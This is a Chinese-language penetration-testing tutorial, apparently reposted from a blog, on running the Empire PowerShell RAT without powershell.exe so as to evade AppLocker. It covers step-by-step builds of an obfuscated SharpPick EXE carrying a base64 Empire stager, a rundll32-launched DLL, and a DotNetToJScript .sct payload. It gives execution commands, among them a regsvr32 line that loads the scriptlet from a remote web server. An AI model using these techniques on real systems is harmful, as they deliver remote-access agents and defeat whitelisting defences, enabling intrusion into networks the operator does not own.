无 PowerShell.exe 执行 Empire 的几种姿势
作者:互联网
在实战中,Empire成为域渗透、后渗透阶段一大利器,而Empire是一个Powershell RAT,所以PowerShell必须要能运行Empire中几乎所有的启动方法都依赖于使用PowerShell.exe的功能。但是如果在无法调用powershell.exe环境下(客户端已经使用AppLocker阻止了Powershell.exe运行)利用empire就需要一些技巧和方法了。
powershell.exe进程只是为System.Management.Automation.dll的实现提供了一个DLL Host。而它的核心,实际上就是System.Management.Automation.dll,这也是PowerShell的真实身份。此外,还有其他本地Windows进程同样也作为PowerShell的Host,比如powershell_ise.exe。
然而,我们也可以创建自己的进程来为System.Management.Automation.dll提供Host。目前已经有一些开源项目实现了这一点,例如UnmanagedPowerShell,(https://github.com/leechristensen/UnmanagedPowerShell)、SharpPick(https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick/SharpPick)、PSAttack(https://github.com/jaredhaight/PSAttack)以及nps(https://github.com/Ben0xA/nps)。
当然,使用PowerShell的优势之一在于,PowerShell.exe是经过微软签名的二进制文件,会被应用程序加入白名单,方便我们的使用。而自己创建的进程则不会被应用程序所信任,但是通过这样的方式,可以在powershell.exe被禁用的情况下执行PowerShell。
环境: kali linux 192.168.190.141(攻击机)
Windows 8 192.168.190.149 (靶机)
0x01 构建Empire.exe
用到的工具SharpPick (https://github.com/PowerShellEmpire/PowerTools)
用Visual Studio打开下载好的PowerPick项目,不过我用的是vs2012,2010/2012的好处在于,它带有越来越难找到的旧的.NET库。
首先,你需要混淆一些项目属性。改变程序和程序集信息的名称。可以通过菜单“项目-SharpPick 属性”来做到。确保修改“输出类型”为“Windows应用程序”,以便当你双击运行或者从CLI执行后,它能在后台运行。
点击“程序集信息”按钮,并修改属性。
现在你还要将Program.cs中的代码修改如下:
字符串“stager”只包含base64编码的Empire启动器的信息。比如我把empire生成powershell的base64作为传递给RunPS()函数的参数(需base64解码后),该函数将PowerShell命令发送给System.Management.Automation,这里是PowerShell的魅力所在。将直接进入Windows核心。
现在在菜单中选择“生成-生成解决方案”或者点击“F6”。生成的二进制文件位于
PowerPick\bin\x86\Debug
你可能会遇到关于ReflectivePick不能生成的错误。你能选择菜单“生成-配置管理器”,并从“项目上下文”中去除“ReflectivePick”。因为我们不需要它。
双击可执行文件来测试下二进制文件,或者在CLI中运行测试。在你启动或执行后它应该是运行于后台的。
0x02 构建Empire.dll
https://github.com/johnjohnsp1/AllTheThings
就像EXE一样,打开项目并改变这些属性。在项目属性中需要更改的其他重要事项是“输出类型”,它需要更改为 “类库”。你也应该将“启动对象”设置为下拉菜单中的默认值(基于你的命名空间和类名称)。
接下来,安装Visual Studio的nuget包管理器。一旦安装完成,你需要通过运行以下命令来获取依赖关系“UnmanagedExports”:
接下来,打开“Program.cs”,并更改你的代码看起来像下面这样,除了几个“using”语句未显示,但大部分都包含在gist中:
如果出现这样的显示引用错误的情况,我们需要在项目里自己添加引用
再次去“构建 – >构建解决方案”或点击“F6”,你应该在你的构建目录中会生成一个LegitLibrary.dll(和上面一样)。
通过运行以下步骤来测试新的DLL
rundll32.exe LegitLibrary.dll,EntryPoint
这应该会返回一个新的代理到你的EmpireC2。如果你查看Process Explorer,你将看到rundll32作为一个新的进程运行。
0x03构建Empire.sct
这种方式可能是最复杂的,因为它涉及到一些比较繁琐的步骤。最终结果基本上是这样的:将PowerShell转换成.NET应用程序,将该.NET应用程序转换为一个javascript文件中的base64编码的二进制文件,然后将其填充到.SCT中。你可以使用regsvr32调用该脚本,该脚本可以执行在你的Web /文件服务器上存放的.SCT的JavaScript代码。
我们的目标是Empire.exe有效载荷,但是要转换为base64。项目选项应该与你为Empire.exe所做的相同,换句话说就是“Windows应用程序”。代码有点不一样,因为JavaScript需要一些公共方法来实现和执行我们的代码。
解决方法:
需要添加引用NDesk.Options
下载地址:
http://www.ndesk.org/Options
解压缩,工程-添加引用-浏览-NDesk.Options.dll
重新编译
构建后,去目录找到你生成的二进制,它应该是一个exe。
接下来,去下载DotNetToJScript 并在Visual Studio中打开该项目,将其.NET目标更改为“.NET 3.5”(或2.0)项目选项并编译(构建)它。一旦构建,找到DotNetToJScript.exe和它的配套NDesk.Options.dll,并将它们放在与LegitScript.exe二进制文件相同的位置。
运行以下命令(-c是入口点,更改为你选择的namespace.class):
. DotNetToJScript.exe -c = LegitScript.Program -o = legitscript.js legalscript.exe
这应该会输出一个legalscript.js。DotNetToJScript输出有其他几种语言,包括用于嵌入Office文档的VBA和VBScript,或者你可能需要的其他东西。
你可以通过运行以下步骤进行下一步的测试:
wscript.exe legalscript.js
执行后应该会在后台启动一个新的代理工作站。它将作为进程监视器中的“wscript”运行。
如果你已经确认这正常的工作了,那么现在是把它包装成一个.sct,所以我们可以用regsvr32.exe来调用它。
将legalscript.js的全部内容放入CDATA标签。你可以使用以下方式获取Empire中的XML格式:
(Empire:usestager windows / launcher_sct
设置无关紧要,但你可以将其设置为监听器,并确保“OutFile”设置为null或“”空值,因为这将打印内容并进行屏幕显示。如果你从Empire获取内容,请从CDATA标签中删除所有内容,并将其替换为legalscript.js。
保存为2legit.sct并进行测试:
regsvr32 / s / n / u /i:2legit.sct scrobj.dll
这会再次返回一个新的代理。你可以将该.sct保存到你的网络或文件服务器,并用“/i:https ://example.com/2legit.sct””远程替换“/i:” 。这是一个AppLocker绕过方式,因为regsvr32.exe是Microsoft签名的二进制文件。
标签:exe,dll,https,sct,Empire,PowerShell 来源: https://www.cnblogs.com/-qing-/p/10620717.html